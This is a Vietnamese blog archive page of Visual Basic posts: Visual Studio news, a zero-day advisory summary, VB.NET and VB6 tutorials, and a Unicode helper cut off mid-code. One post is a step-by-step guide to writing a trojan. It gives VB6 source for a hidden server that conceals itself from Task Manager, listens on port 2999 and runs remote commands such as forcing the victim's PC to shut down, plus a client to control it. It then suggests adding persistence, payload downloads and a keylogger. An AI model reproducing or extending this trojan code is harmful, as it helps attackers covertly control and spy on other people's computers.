Hiển thị các bài đăng có nhãn Visual Basic. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Visual Basic. Hiển thị tất cả bài đăng

Thứ Hai, 13 tháng 9, 2010

Visual Studio đến với các nhà quản lý kinh doanh

Microsoft sẽ phát hành một phiên bản Visual Studio IDE hứa hẹn đủ dễ cho các nhà quản lý kinh doanh sử dụng.

Visual Studio đến với các nhà quản lý kinh doanhVào ngày 23/8/2010, công ty sẽ phát hành phiên bản beta của Visual Studio, được gọi là Visual Studio LightSwitch, nhằm đơn giản hóa quá trình phát triển ứng dụng.

"Các nhà phát triển chuyên nghiệp không còn là những người duy nhất xây dựng các ứng dụng kinh doanh nữa", ông Dave Mendlen, Giám đốc tiếp thị nền tảng các công cụ phát triển của Microsoft nói. "LightSwitch cung cấp cho người quản lý kinh doanh một cách đơn giản để tạo các ứng dụng riêng của họ".

LightSwitch sẽ là một phiên bản thu gọn của Visual Studio, đi kèm với tập các khuôn mẫu (template) bao trùm một số quy trình doanh nghiệp khác, mà người sử dụng có thể triển khai để cài đặt ứng dụng. "Bạn có thể bắt đầu với một trong những template này nhờ sử dụng Visual Basic hay C#", ông Mendlen cho biết. Trong một số trường hợp, người sử dụng có thể không cần thêm một dòng nào vào trong code cả.

Các ứng dụng được xây dựng với LightSwitch có thể chạy trên máy cục bộ hoặc trên dịch vụ điện toán đám mây Microsoft Azure, và được truy cập bằng trình duyệt sử dụng Microsoft Silverlight.

Ngoài các template, phần mềm này cũng đưa ra một số chức năng dựng sẵn gọi là experience. Người sử dụng cũng phải xác định nguồn dữ liệu cho chương trình, có thể không chỉ là cơ sở dữ liệu như SQL Server hay Microsoft Access, mà còn có thể là kho SharePoint hoặc file Excel, Word.

Nguồn: IDG News Service

Thứ Sáu, 10 tháng 9, 2010

Tuỳ biến Office 11 bằng Visual Studio .Net

Tuỳ biến Office 11 bằng Visual Studio .Net Nhằm thu hút các nhà phát triển hỗ trợ cho bộ ứng dụng văn phòng Office 11 , hôm qua, Microsoft đã ra mắt bộ công cụ mới mang tên Visual Studio Tools for Office, cho phép lập trình viên tuỳ ý xây dựng các giải pháp cho Word và Excel.

Cùng với việc công bố bộ công cụ mới dựa trên nền tảng ngôn ngữ lập trình Visual Studio trên, người khổng lồ về phần mềm cũng thông báo sẽ phát triển 3 Scheme Definitions dựa trên XML (XSDs) dành cho định dạng Office 11. Nhờ có những công cụ này, các nhà lập trình có thể tạo ra các ứng dụng chạy trên thiết bị cầm tay cũng như máy chủ cao cấp của doanh nghiệp.

Việc kết hợp Office với Visual Studio mang lại nhiều thuận lợi cho nhà lập trình thường dùng ngôn ngữ Visual Basic và C# . Bên cạnh đó, họ có thể tận dụng những lợi thế của .Net Framework trong Visual Studio .Net. Các tính năng bảo mật bên trong .Net Framework cung cấp cho nhà lập trình hay quản trị mạng nhiều quyền kiểm soát hơn khi cho phép chạy các đoạn mã trên Word và Excel.

Đối thủ nặng ký của Microsoft là hãng Sun Microsystems đang có kế hoạch phát triển tương tự đối với bộ phần mềm văn phòng StarOffice . Dự tính vào giữa năm tới, Sun sẽ ra mắt một phiên bản StarOffice mới cho phép nhà lập trình Java chuyên nghiệp tuỳ biến các ứng dụng StarOffice.

Phiên bản hoàn chỉnh của Office 11 sẽ được Microsoft phát hành vào giữa năm 2003.


Minh Nghĩa (theo Infoworld)
Việt Báo (Theo_VnExpress.net

Microsoft xác nhẫn lỗi “zero-day” trong Visual Studio

Microsoft xác nhẫn lỗi “zero-day” trong Visual StudioMicrosoft ngày hôm qua đã xác nhận một lỗi bảo mật cực kỳ nghiêm trọng tồn tại trong Microsoft Visual Studio 2005 đã bị lợi dụng trong các vụ tấn công “zero-day”. Nhà sản xuất cho biết lỗi bảo mật này có thể bị lợi dụng để từ xa thực thi các mã độc trên hệ thống mắc lỗi.

Song song bên cạnh việc xác nhận thông tin, Microsoft đã phát hành một bản tin cảnh báo bảo mật và giải pháp tạm thời để giúp người dùng hạn chế nguy cơ bị tấn công.

“Mã độc hại có thể tấn công lỗi bảo mật trong Visual Studio 2005 đã được tung lên mạng và đã được sử dụng trong một số vụ tấn công zero-day,” Microsoft xác nhận trong bản tin cảnh báo bảo mật.

Lỗi bảo mật trong Visual Studio 2005 bắt nguồn từ một lỗi chưa được xác định trong đối tượng WMI Object Broker ActiveX Control (WmiScriptUtils.dll). Đây là đối tượng được dùng trong WMI Wizard để thuyết minh tác dụng của các đối tượng điều khiển khác.

Microsoft khẳng định kẻ tấn công có thể lợi dụng lỗi bảo mật nói trên để chiếm toàn bộ quyền điều khiển hệ thống mắc lỗi. Thủ đoạn lợi dụng lỗi bảo mật này để tấn công như sau: Kẻ tấn công sẽ tạo ra một trang web độc và sử dụng kỹ thuật “social engineering” để lừa người dùng truy cập vào trang web đó. Mã độc gắn trực tiếp trên website đó sẽ đột nhập vào hệ thống thông qua lỗi bảo mật Visual Studio, cho phép kẻ tấn công chiếm quyền điều khiển hệ thống mắc lỗi.

Microsoft khuyến cáo người dùng Visual Studio 2005 nên cấu hình để trình duyệt Internet Explorer cảnh báo mỗi khi chạy một Active Scripting hoặc vô hiệu hoá hoàn toàn tính năng này khi cấu hình cho mạng Internet và mạng Local.

Visual Studio 2005 là một môi trường phát triển tích hợp với những bộ công cụ tuyệt vời giúp cho các chuyên gia phần mềm có thể lập trình phần mềm, website, ứng dụng web hay dịch vụ web một cách vô cùng hiệu quả. Phiên bản mới nhất Visual Studio đã được tích hợp các loại ngôn ngữ lập trình như Visual Basic, Visual C++, Visual C# và Visual J#.

Việt Báo (Theo_VnMedia)

Visual Studio 2008 ra mắt bản hoàn thiện

Visual Studio 2008 ra mắt bản hoàn thiệnMicrosoft hôm qua (19/11) chấm dứt tiến trình thử nghiệm kéo dài tới 18 tháng và tung ra phiên bản chính thức Visual Studio 2008. Hiện người dùng đã có thể trực tiếp mua và tải về gói công cụ phát triển ứng dụng này từ website của Microsoft.

Cũng giống như phiên bản trước đây, ngoài các phiên bản thương mại Visual Studio 2008 cũng có thêm phiên bản Express Editon hoàn toàn miễn phí chủ yếu hướng tới người dùng cá nhân.

Tính năng mới

Visual Studio 2008 tích hợp những tính năng có thể làm thoả mãn bất kỳ nhà phát triển ứng dụng nào.
Có lẽ vui mừng nhất chính là những người đam mê Microsoft XNA Game Studio Express khi được chứng kiến sự xuất hiện của nền tảng phát triển game The Game Creators GameBASIC Professional được tích hợp trực tiếp trong Visual Studio 2008. Phiên bản miễn phí Express cũng có tính năng này.

Ngoài ra nhà phát triển game còn được miễn phí rất nhiều mô hình nhân vật, phương tiện, động vật, quái vật, động tơ phát triển hình ảnh 3D BlitzTree, phong cảnh môi trưởng, bản đồ 3D Word Studio, hiệu ứng hình ảnh âm thanh … đi cùng nền tảng phát triển game.

Ngoài ra còn có 3 tính năng khác được đánh giá thực sự nổi trội trong phiên bản thương mại Visual Studio 2008. Thứ nhất Visual Studio 2008 tích hợp phiên bản chính thức .NET Framework 3.5 và môi trường đồ hoạ động mới nhất Silverlight.

Visual Studio 2008 còn có thêm một công cụ mới nữa là Popfly Explorer. Đây là công cụ cho phép nhà phát triển xây dựng các ứng dụng dịch vụ web trên nền tảng Silverlight mới ra mắt của Microsoft. Một dạng nền tảng tương tự Adobe Flash.

Thứ hai Visual Studio 2008 giờ cũng đã tích hợp khả năng hỗ trợ nhiều ngôn ngữ động như IronRuby và IronPython. Và cuối cùng là Visual Studio 2008 được Microsoft tích hợp thêm LINQ. Tính năng này cho phép ngôn ngữ lập trình .NET có thể truy vấn dữ liệu thông qua Lexicon tương tự như SQL nhưng không cần phải thông qua các bộ xử lý dữ liệu như ADO.

Công cụ Sync Framework tích hợp sẵn giúp mở rộng khả năng hỗ trợ đồng bộ hoá của Visual Studio 2008 cho phép tạo ứng dụng phối hợp ngoại tuyến hoặc ngang hàng. Microsoft tuyên bố Sync Framework là nền tảng để đưa dịch vụ web và cơ sở dữ liệu từ trên mạng xuống dưới PC, hỗ trợ đồng bộ hoá ngang hàng bất kỳ loại tệp tin nào theo bất kỳ thủ truyền tải, loại dữ liệu hoặc hình thức lưu trữ nào.


Hoàng Dũng - (Betanews, Microsoft)

Việt Báo (Theo_VnMedia)

Thứ Hai, 3 tháng 5, 2010

Các điều khiển thông dụng trong VB.NET



Trong trò chơi Line-NIIT, ta có chức năng cho phép người chơi có thể lưu trạng thái của trò chơi để sau này tiếp tục trò chơi với trạng thái trước đó. Tôi xin giới thiệu một số điều khiển thông dụng (common control) trong VB.NET cần thiết cho việc này.


Hộp thoại mở/lưu tập tin
Khi bạn dùng các chương trình như Microsoft Word hay Paint, bạn thấy hộp thoại mở tập tin giống nhau. Đó không phải là sự tình cờ. Trong VB.NET, hộp thoại như vậy là đối tượng OpenFileDialog mà bạn có thể tạo ra dễ dàng bằng một trong hai cách sau:
- Cách 1: Tạo ra đối tượng thuộc lớp OpenFileDialog rồi thay đổi các thuộc tính của đối tượng này cho phù hợp với nhu cầu của chương trình.
- Cách 2: Kéo đối tượng OpenFileDialog từ hộp công cụ, thả vào form lúc thiết kế.
Các thuộc tính (property) và phương thức (method) tiêu biểu của lớp OpenFileDialog:
Thuộc tính:
-Filename: Tên tập tin được chọn.
-Filter: Quy định các kiểu tập tin được hiển thị trong hộp thoại.
-FilterIndex: Cho biết kiểu tập tin nào trong thuộc tính Filter được người dùng chọn.
-Initial Directory: Thư mục mặc định.
-MultiSelect: Cho phép chọn nhiều tập tin hay chỉ chọn một tập tin.
Phương thức:
-Dispose: Giải phóng tài nguyên cấp phát cho đối tượng OpenFileDialog.
-Reset: Thiết lập lại các thuộc tính về giá trị mặc định ban đầu.
-ShowDialog: Hiển thị hộp thoại.
Đoạn mã 1 minh họa việc mở hộp thoại có các bộ lọc (filter) là *.txt, *.doc, và *.* và thư mục mặc định là thư mục gốc ổ đĩa C. Hộp thoại được tạo ra trông như hình 1.


H.1

Đoạn mã 1
Dim strFileName As String
Dim dlgOpenFile As New OpenFileDialog

With dlgOpenFile
.Filter = "Text files (*.txt)|*.txt|Document files (*.doc)|*.doc|All files (*.*)|*.*"
.FilterIndex = 1
.InitialDirectory = "C:\"
End With
If (dlgOpenFile.ShowDialog() = Windows.Forms.DialogResult.OK) Then
strFileName = dlgOpenFile.FileName
MessageBox.Show("Ban vua chon ten tap tin la:" + strFileName, "Open File", MessageBoxButtons.OK)
End If
Hộp thoại lưu tập tin là đối tượng SaveFileDialog, có các thuộc tính và phương thức gần như giống hoàn toàn với OpenFileDialog. Ngoài ra, bạn còn có thể tạo ra dễ dàng hộp thoại chọn phông (FontDialog), hộp thoại chọn màu (ColorDialog), hộp thoại in tài liệu (PrintDialog). Bạn nên đặt tên biến cho các đối tượng hộp thoại mô tả ở trên với tiếp đầu ngữ là dlg.
Trình đơn
Trình đơn (menu) là phần quan trọng của mọi chương trình, cho phép người dùng duyệt qua các chức năng và làm việc với chương trình. Ta cũng có thể tạo trình đơn bằng hai cách: tạo bằng câu lệnh hoặc tạo khi thiết kế form. Đoạn mã 2 minh họa cách tạo trình đơn và các mục trình đơn (menu item) bằng câu lệnh.
Đoạn mã 2
Tạo ra trình đơn chính
Dim mnuMain As New MainMenu()
Tạo ra các mục trình đơn
Dim mnuItem1 As New MenuItem("&File")
Dim mnuItem2 As New MenuItem()

Đặt thuộc tính cho mục trình đơn
mnuItem2.Text = "Open"
mnuItem2.Shortcut = Shortcut.Alt8
Đưa mục mnuItem2 vào mục mnuItem1
mnuItem1.MenuItems.Add(mnuItem2)
Đưa mục mnuItem1 vào trình đơn chính
mnuMain.MenuItems.Add(mnuItem1)
' Gắn trình đơn chính vào form
Me.Menu = mnuMain
Việc tạo trình đơn khi thiết kế form nhanh hơn nhiều. Ta có thể tạo một Project rồi kéo trình đơn vào form (như mọi điều khiển khác). Nghĩa là bạn có thể thiết kết trình đơn một cách trực quan ngay trên form.
Trình đơn ngữ cảnh
Trình đơn ngư cảnh (context menu) cho phép người dùng truy cập nhanh đến các lệnh/chức năng trong ứng dụng bằng cách nhắp chuột phải. Thông thường, trình đơn ngữ cảnh được gán cho một điều khiển nhất định và cung cấp lệnh phù hợp cho điều khiển đó.
Ta cũng có thể tạo ra trình đơn ngữ cảnh bằng câu lệnh trong chương trình hoặc tạo ra khi thiết kế form. Đoạn mã 3 minh họa cách tạo trình đơn ngữ cảnh bằng câu lệnh.
Đoạn mã 3
Tạo ContextMenu
Dim mnuContextMenu as New ContextMenu()
Gán ContextMenu này vào form chính
Me.ContextMenu = mnuContextMenu
Khai báo mục trình đơn New và Open
Dim mnuItemNew as New MenuItem()
Dim mnuItemOpen as New MenuItem()
Thiết lập thuộc tinh cho hai mục trên
mnuItemNew.Text = "&New"
mnuItemOpen.Text = "&Open"
Đưa các mục trình đơn vào ContextMenu
mnuContextMenu.MenuItems.Add(mnuItemNew)
mnuContextMenu.MenuItems.Add(mnuItemOpen)

Cách viết trojan đơn giản



Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh.


Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần “trojan” thực.

Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.

Server

Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.
Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:

Private Sub Form_Load()
Me.Visible = False
End Sub


Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub


(Trong hệ điều hành Windows, tất cả chương trình có đuôi .exe đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong Running Applications List )

Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.

Đầu tiên là làm sao cho nó có thể “nghe” được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển Winsock Control.

Tôi đặt tên cho điều khiển của tôi là “win”. Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý.

Để làm cho Trojan "nghe" được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub


Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.

Bây giờ, chương trình đã có thể “nghe”, nhưng chưa làm được điều gì rõ ràng cả.

Chúng ta thêm đoạn mã sau vào form chính:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub


Tiếp theo, chúng ta sẽ viết hàm DoActions như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm DoActions mà chúng ta sẽ viết dưới đây.

Hàm DoActions nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function


Bây giờ bạn đã có một chương trình mà khi dữ liệu “Msgbox” được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu “shutdown” được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh “Select Case” để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub


Hãy nhớ thêm điều khiển winsock và đặt tên nó là “win” nếu bạn dùng đoạn mã này:

Module

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function


Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.

Client

Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh “shutdown”, “msgbox”, chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.

Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là txtIP, các nút được đặt tên là cmdConnect, cmdMsgbox, cmdShutdown và cmdDisconnect. Đoạn mã như sau:

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub


Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu “shutdown” hay “msgbox” tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).

Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh ***ng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.

Lời khuyên

Hãy làm cho server có thể tải được một file đặc tả của người tấn công.

Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).

Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.

VB6: Lập trình tiện ích như "Task Manager"



Trong khi lập trình các ứng dụng, một số bạn sẽ gặp phải yêu cầu kiểm tra hệ thống và liệt kê tất cả ứng dụng đang chạy (như tiện ích "Task Manager") và trong một số trường hợp còn cần đến cách thức để "kill" các ứng dụng đó. Bài viết sẽ trình bày cách hiện thực các yêu cầu này bằng VB6.


Một chương trình được kích hoạt từ 1 tập tin (file) khả thi *.exe nằm ở vị trí xác định trên đĩa cứng. Khi chương trình chạy, nó trở thành tiến trình (process) trong máy, mỗi process sẽ được nhận dạng bằng 1 tên nhận dạng (ID) ở dạng số nguyên. Một file khả thi có thể được kích hoạt chạy nhiều lần để trở thành nhiều process khác nhau. Do đó, để nhận dạng process, HĐH dùng định danh riêng (ID) của process. Tuy nhiên, người dùng thường nhận dạng process bằng tên file khả thi của chương trình (nên dùng đường dẫn tuyệt đối của file khả thi để tránh nhầm lẫn giữa các file chương trình nằm ở các thư mục khác nhau nhưng có cùng tên file).

Nếu đang lập trình trên HĐH tương thích với WinNT (NT, 2000, XP, Vista...), bạn có thể dùng thư viện quản lý process có tên là PSAPI của Microsoft để duyệt các process đang chạy (thông qua các hàm EnumProcesses, EnumProcessModule, OpenProcess, GetModuleFileNameEx...) và xóa process theo yêu cầu. Sau đây là qui trình điển hình để viết 1 ứng dụng VB đơn giản giải quyết các yêu cầu của bạn:

1. Chạy VB 6.0, tạo project loại "Standard EXE". Sau khi Form trống hiển thị, hãy thiết kế Form có dạng sau:

Trong đó button "List Process" có tên là btnList, button "Kill Process" có tên là btnKill, textbox nhập ID có tên là txtProcessID, listbox để chứa danh sách các process có tên là lbProcesses.

2. Nhấn đúp chuột vào button ListProcess để tạo thủ tục xử lý sự kiện click chuột trên button này rồi viết code như sau:
'code cho Form ứng dụng
Option Explicit
'thủ tục xóa 1 process
Private Sub btnKill_Click()
Dim hProcess As Long
Dim retval As Long
'lấy handle của Process xác định bởi người dùng
hProcess = OpenProcess(SYNCHRONIZE Or PROCESS_TERMINATE, 0, CLng( txtProcessID.Text))
If hProcess <> 0 Then
'xóa process tương ứng
retval=TerminateProcess(hProcess, 0)
End If
End Sub

'thủ tục hiển thị danh sách process
'mỗi process hiển thị 2 thông tin: ID và đường dẫn file khả thi
Private Sub btnList_Click()
Dim cb As Long
Dim cbNeeded As Long
Dim NumElements As Long
Dim ProcessIDs() As Long
Dim cbNeeded2 As Long
Dim NumElements2 As Long
Dim Modules(1 To 200) As Long
Dim lRet As Long
Dim ModuleName As String
Dim nSize As Long
Dim hProcess As Long
Dim i As Long
lbProcesses.Clear
'tạo array chứa ID của các process
cb = 8
cbNeeded = 96
Do While cb <= cbNeeded
cb = cb * 2
ReDim ProcessIDs(cb / 4) As Long
lRet = EnumProcesses(ProcessIDs(1), cb, cbNeeded)
Loop
NumElements = cbNeeded / 4
For i = 1 To NumElements
'lấy handle của Process thứ i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, ProcessIDs(i))
'kiểm tra handle
If hProcess <> 0 Then
'lấy danh sách các module handles thuộc process
lRet=EnumProcessModules(hProcess, Modules(1), 200, cbNeeded2)
'nếu có, lấy tên file khả thi tương ứng
If lRet <> 0 Then
ModuleName = Space(MAX_PATH)
nSize = 500
lRet = GetModuleFileNameExA(hProcess, Modules(1), ModuleName, nSize)
'hiển thị thông tin lên listbox
lbProcesses.AddItem Format(ProcessIDs(i), "000000") & ": " & Left(ModuleName, lRet)
End If
End If
'Close the handle to the process
lRet = CloseHandle(hProcess)
Next
End Sub

3. Dời chuột về cửa sổ Process, nhấn phải chuột trên phần tử gốc, chọn menu Add.Module để tạo 1 module mới (tên mặc định là Module1) rồi viết đoạn code VB sau đây vào module mới này:
'khai báo các hàm API cần gọi
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function CloseHandle Lib "Kernel32.dll" (ByVal Handle As Long) As Long
Public Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Public Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Public Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

'khai báo kiểu dữ liệu cần dùng
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long ' This process
th32DefaultHeapID As Long
th32ModuleID As Long
' Associated exe
cntThreads As Long
th32ParentProcessID As Long
' This process's parent process
pcPriClassBase As Long
' Base priority of process threads
dwFlags As Long
szExeFile As String * 260 ' MAX_PATH
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
'1 = Windows 95, 2 = Windows NT
szCSDVersion As String * 128
End Type

Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const PROCESS_TERMINATE = 1
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const TH32CS_SNAPPROCESS = &H2&
Public Const hNull = 0

4. Chọn menu Run.Start để chạy thử ứng dụng, nhấn button List Process để xem danh sách các process, nhập ID process cần xóa rồi ấn nút Kill Process để xóa process theo yêu cầu.
Chúc các bạn thành công.

Hiển thị tiếng Việt Unicode trong VB6 dễ dàng hơn!



Trước hết, tôi cũng xây dựng một hàm tương tự như hàm CharUnicode và cũng thêm vào hộp công cụ của VB các điều khiển (control) của MS Forms 2.0 như hướng dẫn của anh Bằng.


Nhưng tôi đặt tên hàm là Viethoa (Việt hóa) và tạo ra chức năng chuyển thành mã tiếng Việt Unicode đối với chuỗi được gõ vào theo cách như khi bạn gõ tiếng Việt với kiểu gõ VNI (đoạn mã 1). Ví dụ, khi bạn muốn hiển thị cụm từ "Tiếng Việt", bạn chỉ cần viết đoạn mã như sau:
Private Sub Form_Load()
cmdTiengviet.Caption = Viethoa(“Tie61ng Vie65t”)
End Sub
Bạn có thể làm tương tự để dùng kiểu gõ khác mà bạn ưa thích. Chúc bạn thành công!
Đoạn mã 1
Function Viethoa(chuoi As String)
Dim i As Integer
Dim j As Integer
For j = 1 To 2
For i = 2 To Len(chuoi)
Select Case Mid(chuoi, i, 1)
Case "1"
'a
If Mid(chuoi, i - 1, 1) = "a" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "A" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC1) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HE2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA5) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HC2) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EA4) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H103) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAF) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H102) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EAE) & Right(chuoi, Len(chuoi) - i)
End If

'e
If Mid(chuoi, i - 1, 1) = "e" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HE9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "E" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HC9) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HEA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBF) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HCA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EBE) & Right(chuoi, Len(chuoi) - i)
End If

'i
If Mid(chuoi, i - 1, 1) = "i" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HED) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "I" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HCD) & Right(chuoi, Len(chuoi) - i)
End If

'o
If Mid(chuoi, i - 1, 1) = "o" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HF3) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "O" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HD3) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&HF4) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED1) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&HDA) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1ED0) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1A1) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDB) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1A0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EDA) & Right(chuoi, Len(chuoi) - i)
End If

'u
If Mid(chuoi, i - 1, 1) = "u" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HFA) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = "U" Then
chuoi = Left(chuoi, i - 2) & ChrW$(&HDA) & Right(chuoi, Len(chuoi) - i)
End If

If Mid(chuoi, i - 1, 1) = ChrW$(&H1B0) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE9) & Right(chuoi, Len(chuoi) - i)
End If
If Mid(chuoi, i - 1, 1) = ChrW$(&H1AF) Then
chuoi = Left(chuoi, i - 2) & ChrW$(&H1EE8) & Right(chuoi, Len(chuoi) - i)
End If

'y
If Mid(chuoi, i - 1, 1) = "y" Then
